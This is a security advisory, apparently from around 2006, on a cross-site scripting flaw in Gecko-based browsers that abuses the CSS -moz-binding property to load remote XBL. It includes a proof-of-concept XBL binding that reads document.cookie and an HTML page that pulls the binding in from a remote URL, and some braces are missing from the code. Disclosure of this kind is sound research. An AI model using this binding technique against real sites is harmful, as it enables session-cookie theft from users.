‘Gecko Based Browsers -moz-binding XSS’


XBL is a markup language for describing bindings that can be attached to elements in other documents.’ ‘The value of the -moz-binding property is a set of URLs that identify specific bindings. An individual URL in the set consists of the binding document’s URL and the binding’s document-unique identifier.’

By crafting special XBL code, attackers can execute XSS using the -moz-binding option on Gecko based web browsers.’


‘The information has been provided by Juha-Matti Laurio.
The bug report can be found at: https://bugzilla.mozilla.org/show_bug.cgi?id=324253
A blog about the vulnerability can be found at: http://community.livejournal.com/lj_dev/708069.html


Vulnerable Systems:
 * Mozilla Firefox 1.5 and prior
 * Mozilla Firefox 1.0 and above
 * Netscape version 8.1 and prior
 * Mozilla Suite version 1.7.12 and prior
 * Mozilla Seamonkey 1.0

Gecko based browsers uses the CSS option -moz-binding in order to bind XBL code from additional locations including remote hosts.
Attackers can use the -moz-binding option in order to inject Javascript code and to perform a cross site scripting attack from remote location.

Proof of Concept:
Cookie reading:
< !–
 this must be served with Content-type: text/xml or similar
— >

< bindings>
  < binding id=’exploit’>
    < implementation>
       < constructor>
                function exploitMe( element ) {
                    element.innerHTML = ‘Attempting to read cookie data…’;

                    var data;
                    try {
                        data = document.cookie || ‘No cookie data.’;
                    } catch( e ) {
                        data = ‘Unable to read cookie.’

                    element.innerHTML = data;
                    element.style.color = ‘green’;

                exploitMe( this );
   < / constructor>
  < / implementation>
 < / binding>
< / bindings>

Remote loading of script file:
< ! DOCTYPE html PUBLIC ‘-//W3C//DTD XHTML 1.0 Transitional//EN’ ‘http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd’>
< html >
    < head>
        < meta http-equiv=’Content-Type’ content=’text/html; charset=utf-8′ />
        < title>Cookie Exploit< /title>
    < / head>
    < body>
        < h1>Cookie Exploit using CSS< / h1>
        < p style=’color: red; -moz-binding: url(https://bugzilla.mozilla.org/attachment.cgi?id=209238#exploit); behavior: url(https://bugzilla.mozilla.org/attachment.cgi?id=209240);’>
            This is a paragraph with inline exploit CSS.
            The CSS executes JavaScript that can read cookies.
        < / p>
    < / body>
< / html>

CVE Information:

Disclosure Timeline:
1-Feb-2006 – Vulnerability researched and confirmed
2-Feb-2006 – Detailed research
2-Feb-2006 – Vendor contacted
2-Feb-2006 – Security companies and several CERT units contacted’

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